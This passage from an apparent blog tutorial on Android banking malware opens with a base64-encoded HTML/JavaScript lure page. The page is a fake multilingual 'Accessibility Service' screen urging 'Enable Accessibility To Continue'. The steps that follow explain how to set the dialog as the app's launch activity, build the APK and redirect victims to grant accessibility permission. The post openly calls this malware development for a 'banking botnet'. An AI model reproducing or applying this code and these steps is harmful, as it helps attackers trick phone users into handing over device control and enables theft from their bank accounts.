a2JhY2snPjwvYj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBpZD0ib2ZmNCIgY2xhc3M9InZsIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhYXIiPjwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgPGRpdiBjbGFzcz0iaHNwIj48YiBpZD0nc2NyZWVucmVhZGVycyc+PC9iPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImVscyI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJubSI+DQogICAgICAgICAgICAgICAgPGIgaWQ9J3RleHRzcGVjaCc+PC9iPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ2bCI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWFyIj48L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImhzcCI+PGIgaWQ9ImRpc3BsYXkxIj48L2I+PC9kaXY+DQogICAgPGRpdiBjbGFzcz0iZWxzIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5tIj4NCiAgICAgICAgICAgICAgICA8YiBpZD0iZm9udDEiPjwvYj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBpZD0iZGVmYXVsdDEiIGNsYXNzPSJ2bCI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWFyIj48L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImVscyI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJubSI+DQogICAgICAgICAgICAgICAgPGIgaWQ9ImRpc3BsYXkyIj48L2I+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgaWQ9ImRlZmF1bHQyIiBjbGFzcz0idmwiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFhciI+PC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgICA8ZGl2IGNsYXNzPSJlbHMiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibm0iPg0KICAgICAgICAgICAgICAgIDxiIGlkPSJtYWduaWZpY2F0aW9uIj48L2I+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgaWQ9Im9mZjUiIGNsYXNzPSJ2bCI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYWFyIj48L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImVscyI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJubSI+DQogICAgICAgICAgICAgICAgPGIgaWQ9J2NvbG9yMSc+PC9iPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8ZGl2IGlkPSJvZmY2IiBjbGFzcz0idmwiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFhciI+PC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCiAgICA8ZGl2IGNsYXNzPSJlbHMiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibm0iPg0KICAgICAgICAgICAgICAgIDxiIGlkPSdjb2xvcjInPjwvYj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0idmwiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNvZiBjaGIiPjwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQogICAgPGRpdiBjbGFzcz0id2giPjwvZGl2Pg0KICAgIDxkaXYgaWQ9ImJ0biIgY2xhc3M9Im5idCIgb25jbGljaz0iQ2xpY2tPSygpOyIgPjxkaXYgY2xhc3M9ImFhciI+PC9kaXY+PC9kaXY+DQogICAgPGRpdiBjbGFzcz0iYTJjIj48L2Rpdj4NCiAgICA8ZGl2IGNsYXNzPSJjdHh0Ij5FbmFibGUgQWNjZXNzaWJpbGl0eSBUbyBDb250aW51ZTwvZGl2Pg0KPC9ib2R5Pg0KPHNjcmlwdD4NCg0KdmFyIGxhbmcgPSAnZW4nOw0KDQp2YXIgb2JqTGFuZyA9IHsNCiAgICAnZW4nOiB7DQogICAgICAgICdhY2Nlc3NhYmlsaXR5MSc6J0FjY2Vzc2liaWxpdHkgU2VydmljZScsDQogICAgICAgICdkb3dubG9hZGVkc2VydmljZSc6J1NFUlZJQ0VTJywNCiAgICAgICAgJ3NlbGVjdHRvc3BlYWsnOicgICAgICAgICcsDQogICAgICAgICdzd2l0Y2hhY2Nlc3MnOicgICAnLA0KICAgICAgICAndGFsa2JhY2snOidUYWxrQmFjaycsDQogICAgICAgICdzY3JlZW5yZWFkZXJzJzonU0NSRUVOIFJFQURFUlMnLA0KICAgICAgICAndGV4dHNwZWNoJzonVGV4dC10by1zcGVlY2ggb3V0cHV0JywNCiAgICAgICAgJ2Rpc3BsYXkxJzonRElTUExBWScsDQogICAgICAgICdmb250MSc6J0ZvbnQgc2l6ZScsDQogICAgICAgICdkaXNwbGF5Mic6J0Rpc3BsYXkgc2l6ZScsDQogICAgICAgICdtYWduaWZpY2F0aW9uJzonTWFnbmlmaWNhdGlvbicsDQogICAgICAgICdjb2xvcjEnOidDb2xvciBjb3JyZWN0aW9uJywNCiAgICAgICAgJ2NvbG9yMic6J0NvbG9yIGludmVyc2lvbicsDQogICAgICAgICdkZWZhdWx0JzonRGVmYXVsdCcsDQogICAgICAgICdvZmYnOidPRkYnDQogICAgfSwNCiAgICAnamEnOiB7DQogICAgICAgICdhY2Nlc3NhYmlsaXR5MSc6J+OCouOCr+OCu+OCt+ODk+ODquODhuOCoycsDQogICAgICAgICdkb3dubG9hZGVkc2VydmljZSc6J+ODgOOCpuODs+ODreODvOODieOCteODvOODk+OCuScsDQogICAgICAgICdzZWxlY3R0b3NwZWFrJzon6KiA6Kqe6YG45oqeJywNCiAgICAgICAgJ3N3aXRjaGFjY2Vzcyc6J+OCueOCpOODg+ODgeOCouOCr+OCu+OCuScsDQogICAgICAgICd0YWxrYmFjayc6J+ODiOODvOOCr+ODkOODg+OCrycsDQogICAgICAgICdzY3JlZW5yZWFkZXJzJzon44K544Kv44Oq44O844Oz44Oq44O844OA44O8JywNCiAgICAgICAgJ3RleHRzcGVjaCc6J+ODhuOCreOCueODiOOBi+OCiemfs+WjsOOBuOOBruWHuuWKmycsDQogICAgICAgICdkaXNwbGF5MSc6J+ODh+OCo+OCueODl+ODrOOCpCcsDQogICAgICAgICdmb250MSc6J+ODleOCqeODs+ODiOOCteOCpOOCuicsDQogICAgICAgICdkaXNwbGF5Mic6J+ODh+OCo+OCueODl+ODrOOCpOOCteOCpOOCuicsDQogICAgICAgICdtYWduaWZpY2F0aW9uJzon5YCN546HJywNCiAgICAgICAgJ2NvbG9yMSc6J+iJsuijnOatoycsDQogICAgICAgICdjb2xvcjInOifjgqvjg6njg7zlj43ou6InLA0KICAgICAgICAnZGVmYXVsdCc6J+ODh+ODleOCqeODq+ODiCcsDQogICAgICAgICdvZmYnOifjgqrjg5UnDQogICAgfSwNCgknYXInOnsNCgknYWNjZXNzYWJpbGl0eTEnOifYpdmF2YPYp9mG2YrYqSDYp9mE2YjYtdmI2YQnLA0KICAgICAgICAnZG93bmxvYWRlZHNlcnZpY2UnOifYp9mE2K7Yr9mF2KfYqicsDQogICAgICAgICdzZWxlY3R0b3NwZWFrJzonICAgICAgICAnLA0KICAgICAgICAnc3dpdGNoYWNjZXNzJzonICAgJywNCiAgICAgICAgJ3RhbGtiYWNrJzonVGFsa0JhY2snLA0KICAgICAgICAnc2NyZWVucmVhZGVycyc6J1NlbGVjdCB0byBTcGVhaycsDQogICAgICAgICd0ZXh0c3BlY2gnOifYp9mE2YjYtdmI2YQg2LnYqNixINmF2YHYqtin2K0g2KfZhNiq2K3ZiNmK2YQnLA0KICAgICAgICAnZGlzcGxheTEnOifYp9mE2LTYp9i02KknLA0KICAgICAgICAnZm9udDEnOifYrdis2YUg2KfZhNiu2LcnLA0KICAgICAgICAnZGlzcGxheTInOifYrdis2YUg2KfZhNi02KfYtNipJywNCiAgICAgICAgJ21hZ25pZmljYXRpb24nOidNYWduaWZpY2F0aW9uJywNCiAgICAgICAgJ2NvbG9yMSc6J9iq2LXYrdmK2K0g2KfZhNij2YTZiNin2YYnLA0KICAgICAgICAnY29sb3IyJzon2KXZitmF2KfYptin2Kog2KfZhNiq2YPYqNmK2LEnLA0KICAgICAgICAnZGVmYXVsdCc6J9in2YHYqtix2KfYttmKJywNCiAgICAgICAgJ29mZic6J9mF2LnYt9mEJw0KCX0NCn0NCg0KdmFyIGxvY2FsZSA9IG9iakxhbmdbbGFuZ10gPT0gdW5kZWZpbmVkID8gb2JqTGFuZ1snZW4nXSA6IG9iakxhbmdbbGFuZ107DQoNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY2Nlc3NhYmlsaXR5MScpLmlubmVyVGV4dCA9IGxvY2FsZVsiYWNjZXNzYWJpbGl0eTEiXTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkb3dubG9hZGVkc2VydmljZScpLmlubmVyVGV4dCA9IGxvY2FsZVsiZG93bmxvYWRlZHNlcnZpY2UiXTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWxlY3R0b3NwZWFrJykuaW5uZXJUZXh0ID0gbG9jYWxlWyJzZWxlY3R0b3NwZWFrIl07DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3dpdGNoYWNjZXNzJykuaW5uZXJUZXh0ID0gbG9jYWxlWyJzd2l0Y2hhY2Nlc3MiXTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0YWxrYmFjaycpLmlubmVyVGV4dCA9IGxvY2FsZVsidGFsa2JhY2siXTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzY3JlZW5yZWFkZXJzJykuaW5uZXJUZXh0ID0gbG9jYWxlWyJzY3JlZW5yZWFkZXJzIl07DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGV4dHNwZWNoJykuaW5uZXJUZXh0ID0gbG9jYWxlWyJ0ZXh0c3BlY2giXTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkaXNwbGF5MScpLmlubmVyVGV4dCA9IGxvY2FsZVsiZGlzcGxheTEiXTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmb250MScpLmlubmVyVGV4dCA9IGxvY2FsZVsiZm9udDEiXTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkaXNwbGF5MicpLmlubmVyVGV4dCA9IGxvY2FsZVsiZGlzcGxheTIiXTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdtYWduaWZpY2F0aW9uJykuaW5uZXJUZXh0ID0gbG9jYWxlWyJtYWduaWZpY2F0aW9uIl07DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY29sb3IxJykuaW5uZXJUZXh0ID0gbG9jYWxlWyJjb2xvcjEiXTsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2xvcjInKS5pbm5lclRleHQgPSBsb2NhbGVbImNvbG9yMiJdOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ29mZjEnKS5pbm5lclRleHQgPSBsb2NhbGVbIm9mZiJdOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ29mZjInKS5pbm5lclRleHQgPSBsb2NhbGVbIm9mZiJdOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ29mZjMnKS5pbm5lclRleHQgPSBsb2NhbGVbIm9mZiJdOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ29mZjQnKS5pbm5lclRleHQgPSBsb2NhbGVbIm9mZiJdOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ29mZjUnKS5pbm5lclRleHQgPSBsb2NhbGVbIm9mZiJdOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ29mZjYnKS5pbm5lclRleHQgPSBsb2NhbGVbIm9mZiJdOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RlZmF1bHQxJykuaW5uZXJUZXh0ID0gbG9jYWxlWyJkZWZhdWx0Il07DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGVmYXVsdDInKS5pbm5lclRleHQgPSBsb2NhbGVbImRlZmF1bHQiXTsNCg0KZnVuY3Rpb24gQ2xpY2tPSygpIHsNCiAgICBBbmRyb2lkLnJldHVyblJlc3VsdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8L2h0bWw+DQo8L2h0bWw+</string>
Step-5 Accessibility Dialog Html to Base64 Encode in Malware
Now you can see inside our image, that if we decode this encoded base64 code than it show us a HTML page. this means that if you have to change anything inside this html code, then encode base64 and use it.
Step-6 Change MainActivity point in Android Manifest file
Now you have to change the point of MainActivity in the android manifest file. now you have to change the point of Mainactivity or first launch in your Android Manifest file. so here we will launch the run.java file first, because inside it our accessibility permission dialog. and after this Build apk.
Step-7 add accessibility dialog in android banking malware
now you can see that successfully accessibility permission dialog has been added inside our application. and the user click on the round icon button, will be redirect to accessibility permission..
Conclusion
In this blog, we will learn How hacker add accessibility permission dialog in android malware, and also hacker how to create accessibility permission dialog in android banking botnet. so I hope you like our malware development video and blog post, and if you face any issues please check out our YouTube channel. here practical. so I will see you in the next post Thanks and Take Care.. :)
0 Comments
Please do not enter any spam link in the comment box.